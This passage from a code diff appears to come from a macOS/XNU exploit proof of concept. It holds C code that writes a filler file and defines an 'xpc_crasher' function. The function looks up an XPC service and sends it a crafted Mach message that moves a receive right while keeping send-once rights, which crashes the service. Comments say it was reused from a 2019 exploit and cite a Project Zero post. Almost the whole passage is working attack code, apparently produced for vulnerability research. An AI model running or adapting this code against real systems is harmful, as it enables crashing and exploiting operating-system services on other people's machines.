+ char* buf = malloc(PAGE_SIZE*10); + memset(buf, 'A', PAGE_SIZE*10); + fwrite(buf, PAGE_SIZE*10, 1, f); + //fclose(f); + return path; +} + +kern_return_t +bootstrap_look_up(mach_port_t bp, const char* service_name, mach_port_t *sp); + +struct xpc_w00t { + mach_msg_header_t hdr; + mach_msg_body_t body; + mach_msg_port_descriptor_t client_port; + mach_msg_port_descriptor_t reply_port; +}; + +mach_port_t get_send_once(mach_port_t recv) { + mach_port_t so = MACH_PORT_NULL; + mach_msg_type_name_t type = 0; + kern_return_t err = mach_port_extract_right(mach_task_self(), recv, MACH_MSG_TYPE_MAKE_SEND_ONCE, &so, &type); + if (err != KERN_SUCCESS) { + printf("port right extraction failed: %s\n", mach_error_string(err)); + return MACH_PORT_NULL; + } + printf("made so: 0x%x from recv: 0x%x\n", so, recv); + return so; +} + +// copy-pasted from an exploit I wrote in 2019... +// still works... + +// (in the exploit for this: https://googleprojectzero.blogspot.com/2019/04/splitting-atoms-in-xnu.html ) + +void xpc_crasher(char* service_name) { + mach_port_t client_port = MACH_PORT_NULL; + mach_port_t reply_port = MACH_PORT_NULL; + + mach_port_t service_port = MACH_PORT_NULL; + + kern_return_t err = bootstrap_look_up(bootstrap_port, service_name, &service_port); + if(err != KERN_SUCCESS){ + printf("unable to look up %s\n", service_name); + return; + } + + if (service_port == MACH_PORT_NULL) { + printf("bad service port\n"); + return; + } + + // allocate the client and reply port: + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &client_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + mach_port_t so0 = get_send_once(client_port); + mach_port_t so1 = get_send_once(client_port); + + // insert a send so we maintain the ability to send to this port + err = mach_port_insert_right(mach_task_self(), client_port, client_port, MACH_MSG_TYPE_MAKE_SEND); + if (err != KERN_SUCCESS) { + printf("port right insertion failed: %s\n", mach_error_string(err)); + return; + } + + err = mach_port_allocate(mach_task_self(), MACH_PORT_RIGHT_RECEIVE, &reply_port); + if (err != KERN_SUCCESS) { + printf("port allocation failed: %s\n", mach_error_string(err)); + return; + } + + struct xpc_w00t msg; + memset(&msg.hdr, 0, sizeof(msg)); + msg.hdr.msgh_bits = MACH_MSGH_BITS_SET(MACH_MSG_TYPE_COPY_SEND, 0, 0, MACH_MSGH_BITS_COMPLEX); + msg.hdr.msgh_size = sizeof(msg); + msg.hdr.msgh_remote_port = service_port; + msg.hdr.msgh_id = 'w00t'; + + msg.body.msgh_descriptor_count = 2; + + msg.client_port.name = client_port; + msg.client_port.disposition = MACH_MSG_TYPE_MOVE_RECEIVE; // we still keep the send + msg.client_port.type = MACH_MSG_PORT_DESCRIPTOR; + + msg.reply_port.name = reply_port; + msg.reply_port.disposition = MACH_MSG_TYPE_MAKE_SEND; + msg.reply_port.type = MACH_MSG_PORT_DESCRIPTOR; + + err = mach_msg(&msg.hdr, + MACH_SEND_MSG|MACH_MSG_OPTION_NONE, + msg.hdr.msgh_size, + 0, + MACH_PORT_NULL, + MACH_MSG_TIMEOUT_NONE, + MACH_PORT_NULL); + + if (err != KERN_SUCCESS) { + printf("w00t message send failed: %s\n", mach_error_string(err)); + return; + } else { + printf("sent xpc w00t message\n"); + } + + mach_port_deallocate(mach_task_self(), so0); + mach_port_deallocate(mach_task_self(), so1); + + return; +}